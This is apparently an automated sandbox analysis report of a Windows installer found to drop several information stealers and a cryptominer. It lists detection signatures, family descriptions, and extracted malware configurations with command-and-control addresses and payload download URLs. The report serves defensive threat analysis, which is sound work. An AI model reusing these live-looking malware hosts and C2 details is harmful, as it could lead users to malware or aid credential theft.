Windows Analysis Report
1719859269.0326595_setup.exe

Overview

General Information

Sample name: 1719859269.0326595_setup.exe
Analysis ID: 1465682
MD5: 00af1a53860550f8db3f1b250436b78a
SHA1: 67dce838cd0e8410ba30b243520dc06f31c1bae6
SHA256: 86ccbff05056433ad05dcc8dfcf5b9b89bda2b2bbbe74a609e1d333f38cee3e4
Tags: exe
Infos:

Detection

LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Yara detected AntiVM3
Yara detected LummaC Stealer
Yara detected MSILDownloaderGeneric
Yara detected Mars stealer
Yara detected Powershell download and execute
Yara detected PureLog Stealer
Yara detected RedLine Stealer
Yara detected Stealc
Yara detected Vidar stealer
Yara detected Xmrig cryptocurrency miner
Yara detected zgRAT
AI detected suspicious sample
Adds extensions / path to Windows Defender exclusion list (Registry)
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Creates HTML files with .exe extension (expired dropper behavior)
Disable Windows Defender real time protection (registry)
Disables Windows Defender (deletes autostart)
Drops PE files to the document folder of the user
Exclude list of file types from scheduled, custom, and real-time scanning
Found direct / indirect Syscall (likely to bypass EDR)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies Group Policy settings
Modifies power options to not sleep / hibernate
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
PE file contains section with special chars
PE file has nameless sections
Performs DNS queries to domains with low reputation
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Silenttrinity Stager Msbuild Activity
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses powercfg.exe to modify the power settings
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Enables security privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Sigma detected: Windows Defender Exclusions Added - Registry
Stores files to the Windows start menu directory
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar
Name Description Attribution Blogpost URLs Link
xmrig According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll# Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll Avira URL Cloud: Label: malware
Source: http://helsinki-dtc.com/updates/yd/wrtzr_yt_a_1/win/version.txt?ZOmFPgPUTVZNbWpVqvSvPLQtsthTrEhbx Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dllq Avira URL Cloud: Label: malware
Source: http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?BaGHTJrEOqpSoOUUbPmVVgUlkCFxoVbnT Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe00 Avira URL Cloud: Label: phishing
Source: http://www.rapidfilestorage.com/clrls/cl_rls.json Avira URL Cloud: Label: malware
Source: http://www.rapidfilestorage.com/updates/yd/wrtzr_yt_a_1/win/version.txt?lkNOHJiXnxKRAffVlKrZwoIEmkviEhCxR Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exeAppData Avira URL Cloud: Label: phishing
Source: http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?BAxskCrAzBkAQLhyBAyQiyrSwfaJVtVcO Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe Avira URL Cloud: Label: phishing
Source: http://77.105.133.27/download/th/space.php Avira URL Cloud: Label: malware
Source: http://77.105.133.27/download/123p.exe Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php Avira URL Cloud: Label: malware
Source: http://api2.check-data.xyz/api2/google_api_ifi Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exew$ Avira URL Cloud: Label: phishing
Antivirus detection for dropped file
Source: C:\ProgramData\AIRP Next Stage 7.1.66\AIRP Next Stage 7.1.66.exe Avira: detection malicious, Label: HEUR/AGEN.1315075
Source: C:\ProgramData\FCBFBGDBKJ.exe Avira: detection malicious, Label: HEUR/AGEN.1317026
Found malware configuration
Source: 0000000C.00000002.2451450016.0000000004314000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199707802586", "https://t.me/g067n"], "Botnet": "4e7fbe36a69903b4dfa6c1b767f4bf81"}
Source: 17.2.RegAsm.exe.400000.0.unpack Malware Configuration Extractor: RedLine {"C2 url": ["77.105.135.107:3445"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.6256.9.memstrmin Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\FCBFBGDBKJ.exe ReversingLabs: Detection: 68%
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe ReversingLabs: Detection: 62%
Source: C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\ExtreamFanV5\ExtreamFanV5.exe ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-JR9V0.tmp ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libeay32.dll (copy) ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\123p[1].exe ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\newsoftgnu[1].exe ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\super[1].exe ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma2806[1].exe ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\PowerExpertNT\PowerExpertNT.exe ReversingLabs: Detection: 62%
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe ReversingLabs: Detection: 62%
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe ReversingLabs: Detection: 36%
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe ReversingLabs: Detection: 62%
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe ReversingLabs: Detection: 45%
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe ReversingLabs: Detection: 91%
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe ReversingLabs: Detection: 54%
Multi AV Scanner detection for submitted file
Source: 1719859269.0326595_setup.exe ReversingLabs: Detection: 18%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Joe Sandbox ML: detected
Source: C:\ProgramData\AIRP Next Stage 7.1.66\AIRP Next Stage 7.1.66.exe Joe Sandbox ML: detected
Source: C:\ProgramData\FCBFBGDBKJ.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 1719859269.0326595_setup.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: INSERT_KEY_HERE
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetProcAddress
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: LoadLibraryA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: lstrcatA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: OpenEventA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateEventA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CloseHandle
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Sleep
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetUserDefaultLangID
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: VirtualAllocExNuma
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: VirtualFree
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetSystemInfo
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: VirtualAlloc
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HeapAlloc
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetComputerNameA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: lstrcpyA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetProcessHeap
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetCurrentProcess
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: lstrlenA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ExitProcess
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GlobalMemoryStatusEx
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetSystemTime
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SystemTimeToFileTime
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: advapi32.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: gdi32.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: user32.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: crypt32.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ntdll.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetUserNameA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateDCA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetDeviceCaps
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ReleaseDC
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CryptStringToBinaryA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sscanf
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: NtQueryInformationProcess
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: VMwareVMware
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HAL9TH
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: JohnDoe
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DISPLAY
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %hu/%hu/%hu
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetEnvironmentVariableA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetFileAttributesA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GlobalLock
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HeapFree
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetFileSize
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GlobalSize
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateToolhelp32Snapshot
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: IsWow64Process
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Process32Next
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetLocalTime
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: FreeLibrary
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetTimeZoneInformation
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetSystemPowerStatus
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetVolumeInformationA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetWindowsDirectoryA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Process32First
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetLocaleInfoA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetUserDefaultLocaleName
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetModuleFileNameA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DeleteFileA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: FindNextFileA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: LocalFree
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: FindClose
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SetEnvironmentVariableA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: LocalAlloc
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetFileSizeEx
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ReadFile
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SetFilePointer
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: WriteFile
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateFileA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: FindFirstFileA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CopyFileA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: VirtualProtect
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetLastError
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: lstrcpynA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: MultiByteToWideChar
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GlobalFree
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: WideCharToMultiByte
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GlobalAlloc
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: OpenProcess
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: TerminateProcess
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetCurrentProcessId
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: gdiplus.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ole32.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: bcrypt.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: wininet.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: shlwapi.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: shell32.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: psapi.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: rstrtmgr.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateCompatibleBitmap
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SelectObject
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BitBlt
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DeleteObject
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateCompatibleDC
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdipGetImageEncodersSize
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdipGetImageEncoders
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdiplusStartup
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdiplusShutdown
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdipSaveImageToStream
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdipDisposeImage
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GdipFree
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetHGlobalFromStream
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CreateStreamOnHGlobal
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CoUninitialize
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CoInitialize
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CoCreateInstance
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BCryptDecrypt
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BCryptSetProperty
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BCryptDestroyKey
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetWindowRect
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetDesktopWindow
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetDC
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CloseWindow
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: wsprintfA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: EnumDisplayDevicesA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetKeyboardLayoutList
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CharToOemW
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: wsprintfW
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RegQueryValueExA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RegEnumKeyExA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RegOpenKeyExA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RegCloseKey
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RegEnumValueA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CryptBinaryToStringA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CryptUnprotectData
